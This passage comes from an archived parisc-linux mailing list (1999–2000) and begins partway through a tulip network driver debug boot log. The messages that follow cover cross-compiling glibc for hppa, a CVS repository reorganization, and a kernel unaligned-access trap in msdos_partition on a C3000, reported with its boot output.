sba_map_single 0xc7f6e810 -> 0x320810 pdir 0xc7fa9900 8000000007f6e06e
sba_map_single 0xc7f6e010 -> 0x340010 pdir 0xc7fa9a00 8000000007f6e06e
sba_map_single 0xc7f6d810 -> 0x360810 pdir 0xc7fa9b00 8000000007f6d06d
sba_map_single 0xc7f6d010 -> 0x380010 pdir 0xc7fa9c00 8000000007f6d06d
sba_map_single 0xc7f6c810 -> 0x3a0810 pdir 0xc7fa9d00 8000000007f6c06c
sba_map_single 0xc7f6c010 -> 0x3c0010 pdir 0xc7fa9e00 8000000007f6c06c
sba_map_single 0xc7f6b810 -> 0x3e0810 pdir 0xc7fa9f00 8000000007f6b06b
sba_map_single 0xc7f6b010 -> 0x400010 pdir 0xc7faa000 8000000007f6b06b
sba_map_single 0xc7f6a810 -> 0x420810 pdir 0xc7faa100 8000000007f6a06a
sba_map_single 0xc7f6a010 -> 0x440010 pdir 0xc7faa200 8000000007f6a06a
sba_map_single 0xc7f69810 -> 0x460810 pdir 0xc7faa300 8000000007f69069
sba_map_single 0xc7f69010 -> 0x480010 pdir 0xc7faa400 8000000007f69069
eth0: tulip_up(), irq==514.
sba_map_single 0xc7fb12bc -> 0x4a02bc pdir 0xc7faa500 8000000007fb10b1
eth0: No media description table, assuming MII transceiver, CSR12 c6.
eth0: Using MII transceiver 1, status 782d.
eth0: Done tulip_open(), CSR0 ffa0c000, CSR5 f0360000 CSR6 b20e2002.
eth0: interrupt  csr5=0xf0670004 new csr5=0xf0660000.
sba_unmap_single iovp 0x4a02bc
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 0 20074000.
eth0: In tulip_rx(), entry 0 00400720.
eth0: In tulip_rx(), entry 1 00400720.
eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 2 00000080.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
sba_map_single 0xc7fb12bc -> 0x4c02bc pdir 0xc7faa600 8000000007fb10b1
eth0: interrupt  csr5=0xf0670004 new csr5=0xf0660000.
sba_unmap_single iovp 0x4c02bc
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
sba_map_single 0xc7fb12bc -> 0x4e02bc pdir 0xc7faa700 8000000007fb10b1
eth0: interrupt  csr5=0xf0670004 new csr5=0xf0660000.
sba_unmap_single iovp 0x4e02bc
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
Sending BOOTP requests...sba_map_single 0xc7feda02 -> 0x500a02 pdir 0xc7faa800 8000000007fed0ed
eth0: interrupt  csr5=0xf0670004 new csr5=0xf0660000.
sba_unmap_single iovp 0x500a02
eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 2 20035a01.
eth0: In tulip_rx(), entry 2 015a0320.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
.<7>eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 3 20074000.
eth0: In tulip_rx(), entry 3 00400720.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 4 20033202.
eth0: In tulip_rx(), entry 4 02320320.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 5 20074000.
eth0: In tulip_rx(), entry 5 00400720.
eth0: In tulip_rx(), entry 6 00400720.
eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 7 00000080.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 7 20074000.
eth0: In tulip_rx(), entry 7 00400720.
eth0: In tulip_rx(), entry 8 00400720.
eth0: In tulip_rx(), entry 9 00720720.
eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 10 00000080.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
eth0: 21143 negotiation status 000000c6, MII.
eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 10 20074000.
eth0: In tulip_rx(), entry 10 00400720.
eth0: In tulip_rx(), entry 11 00400720.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
eth0: MII status 782d, Link partner report 40a1.
eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 12 20074000.
eth0: In tulip_rx(), entry 12 00400720.
eth0: In tulip_rx(), entry 13 00400720.
eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 14 00000080.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 14 20074000.
eth0: In tulip_rx(), entry 14 00400720.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 15 20074000.
eth0: In tulip_rx(), entry 15 00400720.
eth0: In tulip_rx(), entry 16 02320320.
eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 17 00000080.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 17 20074000.
eth0: In tulip_rx(), entry 17 00400720.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 18 20074000.
eth0: In tulip_rx(), entry 18 00400720.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
eth0: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 19 00077600.
eth0: In tulip_rx(), entry 19 00760700.
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.
 OK
IP-Config: Got BOOTP answer from 15.8.80.76, my address is 15.8.80.77
sba_map_single 0xc7fb12bc -> 0x5202bc pdir 0xc7faa900 8000000007fb10b1
eth0: interrupt  csr5=0xf0670044 new csr5=0xf0660000.
 In tulip_rx(), entry 20 20074000.
eth0: In tulip_rx(), entry 20 00400720.
sba_unmap_single iovp 0x5202bc
eth0: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth0: exiting interrupt, csr5=0xf0660000.


From - Thu Nov 08 21:12:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Creasey <sammy@sammy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cross compiling glibc
Date: Fri, 14 Apr 2000 10:18:30 -0400 (EDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0004141013240.5167-100000@sammyville.sammy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618890 32297 80.91.229.3 (22 Nov 2014 01:14:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sammy@sammy.net  Fri Apr 14 09:17:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA08606
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Apr 2000 09:17:44 -0600
Original-Received: (qmail 17656 invoked by uid 15267); 14 Apr 2000 15:17:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29779 invoked from network); 14 Apr 2000 14:10:55 -0000
Original-Received: from dhcp9544086.columbus.rr.com (HELO sammyville.sammy.net) (24.95.44.86)
  by mailserv2.iuinc.com with SMTP; 14 Apr 2000 14:10:55 -0000
Original-Received: from localhost (sammy@localhost)
	by sammyville.sammy.net (8.8.7/8.8.7) with ESMTP id KAA22335
	for <parisc-linux@thepuffingroup.com>; Fri, 14 Apr 2000 10:18:30 -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7206



Ok, according to CVS, my tree is now entirely sync'd with the repository
for glibc.

And I just built glibc right "out of the box".

Hopefully this procedure will work for you:


(checkout glibc)
cd glibc
mkdir hppa1.1-linux
cd hppa1.1-linux

../configure --disable-shared --disable-profile --enable-static-nss
--build=i686-linux --host=hppa1.1-linux --disable-sanity-checks

make

(yes, the entire make should actually happen right now -- though
nss/makedb still won't compile without the binutils fix I just checked
in).

make install install_root=/raid/hp/root MAKEINFO=

This runs in install into the root for my 712's NFS mount.
The MAKEINFO= is important, it keeps it from trying to build the manuals,
which doesn't work without the addon.


Hope it goes as smoothly for anyone else.

-- Sam



From - Thu Nov 08 21:12:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] building a glibc-based tool chain
Date: 14 Apr 2000 17:48:22 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <87zoqwmk0p.fsf@tarwebok.thepuffingroup.com>
References: <E12ftBw-0003b1-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618890 32300 80.91.229.3 (22 Nov 2014 01:14:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@endor.fc.hp.com>
Original-X-From: dhd@linuxcare.com  Fri Apr 14 16:04:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA12467
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Apr 2000 16:04:12 -0600
Original-Received: (qmail 14176 invoked by uid 15267); 14 Apr 2000 22:04:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14167 invoked from network); 14 Apr 2000 22:04:07 -0000
Original-Received: from ppp0a004.std.com (HELO tarwebok) (mail@208.192.100.4)
  by mailserv2.iuinc.com with SMTP; 14 Apr 2000 22:04:07 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 12gDwt-0001iE-00; Fri, 14 Apr 2000 17:48:23 -0400
Original-Lines: 18
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.5
Xref: news.gmane.org gmane.linux.ports.parisc:7207

Paul Bame <bame@endor.fc.hp.com> writes:

> Ok, using my prior instructions you'll get a 'glibc' containing
> x86 object files!  crt1.o is one of those, and is probably why the
> linker segfaults.

Yup, it wouldn't surprise me, since the Alpha linker also does this
when you try to link i386 object files with it.  Go binutils go!

(BTW: if you're using the aboot ISO9660 code for PALO, be forewarned
that there are some bad bugs in it that I've recently fixed - 0.7pre3
has the updates)

-- 
David Huggins-Daines, Senior Linux Consultant, Linuxcare, Inc.
613.562.1239 desk, 613.223.0225 mobile
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cross compiling glibc
Date: Fri, 14 Apr 2000 15:32:21 -0700
Lines: 69
Approved: news@gmane.org
Message-ID: <200004142232.PAA20329@milano.cup.hp.com>
References: <Pine.LNX.4.21.0004141013240.5167-100000@sammyville.sammy.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618890 32307 80.91.229.3 (22 Nov 2014 01:14:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Apr 14 16:32:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA12959
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Apr 2000 16:32:52 -0600
Original-Received: (qmail 2239 invoked by uid 15267); 14 Apr 2000 22:32:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2227 invoked from network); 14 Apr 2000 22:32:49 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 14 Apr 2000 22:32:49 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by cosrel2.hp.com (Postfix) with ESMTP id 6EAB7656
	for <parisc-linux@thepuffingroup.com>; Fri, 14 Apr 2000 16:32:37 -0600 (MDT)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id 393AB4FF58
	for <parisc-linux@thepuffingroup.com>; Fri, 14 Apr 2000 17:32:15 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id PAA20329 for <parisc-linux@thepuffingroup.com>; Fri, 14 Apr 2000 15:32:21 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 14 Apr 2000 10:18:30 PDT."
             <Pine.LNX.4.21.0004141013240.5167-100000@sammyville.sammy.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:7208

Sam Creasey wrote:
> Hopefully this procedure will work for you:
> 
> 
> (checkout glibc)
> cd glibc
> mkdir hppa1.1-linux
> cd hppa1.1-linux
> 
> ../configure --disable-shared --disable-profile --enable-static-nss
> --build=i686-linux --host=hppa1.1-linux --disable-sanity-checks

So far so good. But since I wanted to build under HP-UX I had to change
a few things on the configure line:

../configure --disable-shared --disable-profile --enable-static-nss \
    --build=hppa1.1-hpux --host=hppa1.1-linux --disable-sanity-checks \
    --with-headers=/opt/puffin/include

/opt/puffin/include contains the linux headers files the Mathew Wilcox
tar'd and placed on puffin.external.hp.com.


> make

And then the make died for two different reasons:
1) can't use HP-UX sed. I pulled the sources from the
   porting center and installed them under /opt/puffin/

2) perl. HP-UX 11 ships with perl 4. glibc wants perl5.
   Pulled perl-5.005_03-1.hpux-11.0.depot.gz from puffin.external.hp.com
   and it got quite a bit further

3) I also removed "csu" from sysd-sorted directory list.
   Mathew told me to. So I did. This has to be done *after*
   running ./configure script.

and then the make completed.

> 
> (yes, the entire make should actually happen right now -- though
> nss/makedb still won't compile without the binutils fix I just checked
> in).
> 
> make install install_root=/raid/hp/root MAKEINFO=

Since my NFS root isn't on my build machine, I used
    make install install_root=/linux/root MAKEINFO=

with the plan on recursively copying that over to the nfs root.
For some reason I had to remove "csu" from sysd-sorted again.
Probably just forgot too while retrying something...

thanks Sammy!
grant

> 
> This runs in install into the root for my 712's NFS mount.
> The MAKEINFO= is important, it keeps it from trying to build the manuals,
> which doesn't work without the addon.
> 
> Hope it goes as smoothly for anyone else.
> 
> -- Sam

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] new CVS layout
Date: Wed, 17 Mar 1999 21:58:53 -0500
Organization: mozilla.org diplomatic corps
Lines: 14
Approved: news@gmane.org
Message-ID: <36F06BED.5B5D029A@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618891 32310 80.91.229.3 (22 Nov 2014 01:14:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:51 +0000 (UTC)
To: hppa-linux@puffingroup.com
Original-X-From: shaver@netscape.com  Wed Mar 17 21:57:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id VAA05683
	for <hppa-linux@sod.res.cmu.edu>; Wed, 17 Mar 1999 21:57:44 -0500
Original-Received: (qmail 22171 invoked by uid 15267); 18 Mar 1999 02:56:56 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 22164 invoked from network); 18 Mar 1999 02:56:55 -0000
Original-Received: from burrow.puffingroup.com (root@209.151.0.76)
  by mailserv2.iuinc.com with SMTP; 18 Mar 1999 02:56:55 -0000
Original-Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46])
	by burrow.puffingroup.com (8.8.7/8.8.7) with ESMTP id XAA00840
	for <hppa-linux@puffingroup.com>; Wed, 17 Mar 1999 23:02:41 -0500
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id SAA25269
	for <hppa-linux@puffingroup.com>; Wed, 17 Mar 1999 18:56:58 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.67]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F8RS6Z00.KKE for <hppa-linux@puffingroup.com>; Wed, 17 Mar 1999
          18:56:59 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.0-pre7-ac1 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7209

Alex and I just restructured the CVS repository, so there's no longer an
intervening hppa-linux directory.

cvs -d :pserver:....@sod.res.cmu.edu/home/cvs/hppa co <module>
where you choose <module> from linux, egcs, binutils.

If you had large amounts of changes in your local tree, and are stressed
about losing them, mail me and I'll help you handle it all.

Mike

-- 
301248.67 255524.62


From - Thu Nov 08 21:12:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] msdos_partion+120 == code 28
Date: Fri, 14 Apr 2000 15:33:45 -0700 (PDT)
Lines: 311
Approved: news@gmane.org
Message-ID: <200004142233.PAA20334@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618891 32311 80.91.229.3 (22 Nov 2014 01:14:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:51 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Apr 14 16:37:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA13157
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Apr 2000 16:37:35 -0600
Original-Received: (qmail 4631 invoked by uid 15267); 14 Apr 2000 22:37:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4516 invoked from network); 14 Apr 2000 22:37:14 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 14 Apr 2000 22:37:14 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by palrel1.hp.com (Postfix) with ESMTP id 7C24E1406
	for <parisc-linux@thepuffingroup.com>; Fri, 14 Apr 2000 15:37:08 -0700 (PDT)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id 3A9174FF76
	for <parisc-linux@thepuffingroup.com>; Fri, 14 Apr 2000 17:33:39 -0400 (EDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id PAA20334 for parisc-linux@thepuffingroup.com; Fri, 14 Apr 2000 15:33:45 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7210

Hi all,
So we are making forward progress...LAN and SCSI both sort-of talk
on the C3k. I think something in the LAN stack is causing an HPMC
but am so fed up with tulip driver I decided to look at SCSI instead.
Mostly good news (we see disks and can query them) until msdos
partition code gets involved.

code 28 == "Unaligned Data Reference Trap".
(Gee, where have I seen this before? :^(  )

IAOQ  == 0xc016939c msdos_partition+120


Anyway, I'll figure out a way to ditch the msdos partitioning code
and then go back to figuring out the tulip driver/LAN problem.

I've appended the output from my c3k. All my changes are committed
at this point and it's just a matter of twiddling the .config
file to do this. 

enjoy your weekend!
grant


Main Menu: Enter command > bo lan
Interact with IPL (Y, N, Q)?> n

Booting... 
Network Station Address 001083-360089

System IP Address 15.8.80.77
Server IP Address 15.8.80.76

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl grundler@rock Thu Apr 13 21:02:08 PDT 2000
0/vmlinux 2204987 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.80.76'
0/ramdisk 614400 bytes @ 0x220d3b
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 0010190c first 00100000 n 3
Segment 0 load 00100000 size 1227316 mediaptr 0x1000
Segment 1 load 0022c000 size 101928 mediaptr 0x12d000
Segment 2 load 00248000 size 90112 mediaptr 0x146000
branching to kernel entry point 0x0010190c
The Kernel has started...
Free memory starts at: 0xc02cc000
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.80.76'
PALO initrd 0-0
FP CCR was 0x0, will be set to 0xc0
model   00005bb0 00000481 00000000 00000002 77cd9463 100000f0 00000008 000000b2 000000b2
vers    00000200
cpuid   00000224
CPUID vers 17 rev 4
CPU(s): 1 x PA8500 at 400.000000 MHz
Searching for devices in PDC firmware... a newer box...
Found devices:
1. Astro BC Runway Port (12) at 0xfed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
2. Elroy PCI Bridge (13) at 0xfed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
3. Elroy PCI Bridge (13) at 0xfed32000, versions 0x782, 0x0, 0xa, 0x0, 0x0
4. Elroy PCI Bridge (13) at 0xfed38000, versions 0x782, 0x0, 0xa, 0x0, 0x0
5. Elroy PCI Bridge (13) at 0xfed3c000, versions 0x782, 0x0, 0xa, 0x0, 0x0
6. AllegroHigh W  (0) at 0xfffa0000, versions 0x5bb, 0x0, 0x4, 0x0, 0x81
7. AllegroHigh Memory (1) at 0xfed10200, versions 0x86, 0x0, 0x9, 0x0, 0x0
That's a total of 7 devices.
Linux version 2.3.99-pre1 (grundler@rock) (gcc version 2.9-hppa-991112) #83 Thu Apr 13 21:01:17 PDT 2000
init_bootmem 716 32768
init_bootmem complete
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 32768
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
trap_init
Calibrating delay loop... 758.58 BogoMIPS
Memory: 124740k available
kmem_test() - start
kmem_free: Bad front redzone (objp=c7ffe004, name=test-cachep)
kmem_free: Bad rear redzone (objp=c7ffe004, name=test-cachep)
kmem_test() - finished
c7ff0000 c7ff8000 c7fee000 c7ffc000
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
POSIX conformance testing by UNIFIX
lba version TR2.1 (0x2) found at 0xfed30000
Scanning bus 00
Found 00:60 [1011/0019] 000200 00
Found 00:68 [11d4/1889] 000401 00
Found 00:70 [100b/0002] 000101 00
Found 00:71 [100b/000e] 000680 00
Found 00:72 [100b/0012] 000c03 00
Found 00:78 [1000/000b] 000100 00
Found 00:79 [1000/000b] 000100 00
Fixups for bus 00
lba_fixup_bus(0xc7ffd660) bus 0 sysdata 0xc7feb0e0
request_irq(258, c0123e94, 0x0, iosapic, c7fbb060)
request_irq(259, c0123e94, 0x0, iosapic, c7fbb080)
request_irq(260, c0123e94, 0x0, iosapic, c7fbb020)
request_irq(261, c0123e94, 0x0, iosapic, c7fbb020)
request_irq(262, c0123e94, 0x0, iosapic, c7fbb020)
request_irq(263, c0123e94, 0x0, iosapic, c7fbb040)
request_irq(264, c0123e94, 0x0, iosapic, c7fbb040)
Bus scan for 00 returning with max=00
lba version TR2.1 (0x2) found at 0xfed32000
Scanning bus 01
Found 01:30 [1000/000f] 000100 00
Fixups for bus 01
lba_fixup_bus(0xc7ffd700) bus 1 sysdata 0xc7feb1a0
request_irq(265, c0123e94, 0x0, iosapic, c7fbb260)
Bus scan for 01 returning with max=01
lba version TR2.1 (0x2) found at 0xfed38000
Scanning bus 02
Found 02:08 [12ae/0001] 000200 00
Fixups for bus 02
lba_fixup_bus(0xc7ffd7a0) bus 2 sysdata 0xc7feb220
request_irq(266, c0123e94, 0x0, iosapic, c7fbb4c0)
Bus scan for 02 returning with max=02
lba version TR2.1 (0x2) found at 0xfed3c000
lba: iosapic_register says not used
Warning : device (13, 0x782, 0x0, 0xa, 0x0) NOT claimed by lba TR2.1
SBA at 0xfed00000
IOS_DIST_BASE   : 000000ff fee00001
IOS_DIST_MASK   : 000000ff ffff0000
IOS_DIST_ROUTE  : 34000000 00000000

IOS_DIRECT_BASE : 000000ff fee00a00
IOS_DIRECT_MASK : 000000ff ffff0000
IOS_DIRECT_ROUTE: 00000000 00000000
SBA found Astro 2.1 at 0xfed00000
sba_hw_init() hpa 0xfed00000 ioc_ctl 0x29cf ->sba_ioc_init hpa 0xfed22000 mem 128MBIOV 16MB (24 bits) PDIR size 0x8000 base c7fa8000
sba_ioc_init IOV base 0x1 mask 0xff000000
lba_init_iregs() ibase 0x1 imask 0xfc000000
lba_init_iregs() base_addr fed38000
lba_init_iregs() base_addr fed32000
lba_init_iregs() base_addr fed30000
lba_init_iregs() done
sba_ioc_init done
sba_common_init() res_size 0x200
lba: lba_bios_init
Linux NET4.0 for Linux 2.3
Based upon Swansea University Computer Society NET3.039
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 1024 buckets, 8Kbytes
TCP: Hash tables configured (established 8192 bind 8192)
Starting kswapd v1.6
Serial driver version 4.92 (2000-1-27) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
pty: 256 Unix98 ptys configured
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
sym53c8xx: at PCI bus 1, device 6, function 0
sym53c8xx: 53c875 detected 
sym53c8xx: at PCI bus 0, device 15, function 0
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 0, device 15, function 1
sym53c8xx: 53c896 detected 
sym53c875-0: rev 0x3 on pci bus 1 device 6 function 0 irq 768
sym53c875-0: NCR clock is 40037KHz
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-0: on-chip RAM at 0xf4800000
request_irq(768, c01cfc94, 0x4000000, sym53c8xx, c7f76000)
sym53c875-0: restart (scsi reset).
sym53c875-0: Downloading SCSI SCRIPTS.
sym53c896-1: rev 0x4 on pci bus 0 device 15 function 0 irq 513
sym53c896-1: NCR clock is 40218KHz
sym53c896-1: ID 7, Fast-40, Parity Checking
sym53c896-1: on-chip RAM at 0xf4002000
request_irq(513, c01cfc94, 0x4000000, sym53c8xx, c7f70000)
sym53c896-1: suspicious SCSI data while resetting the BUS.
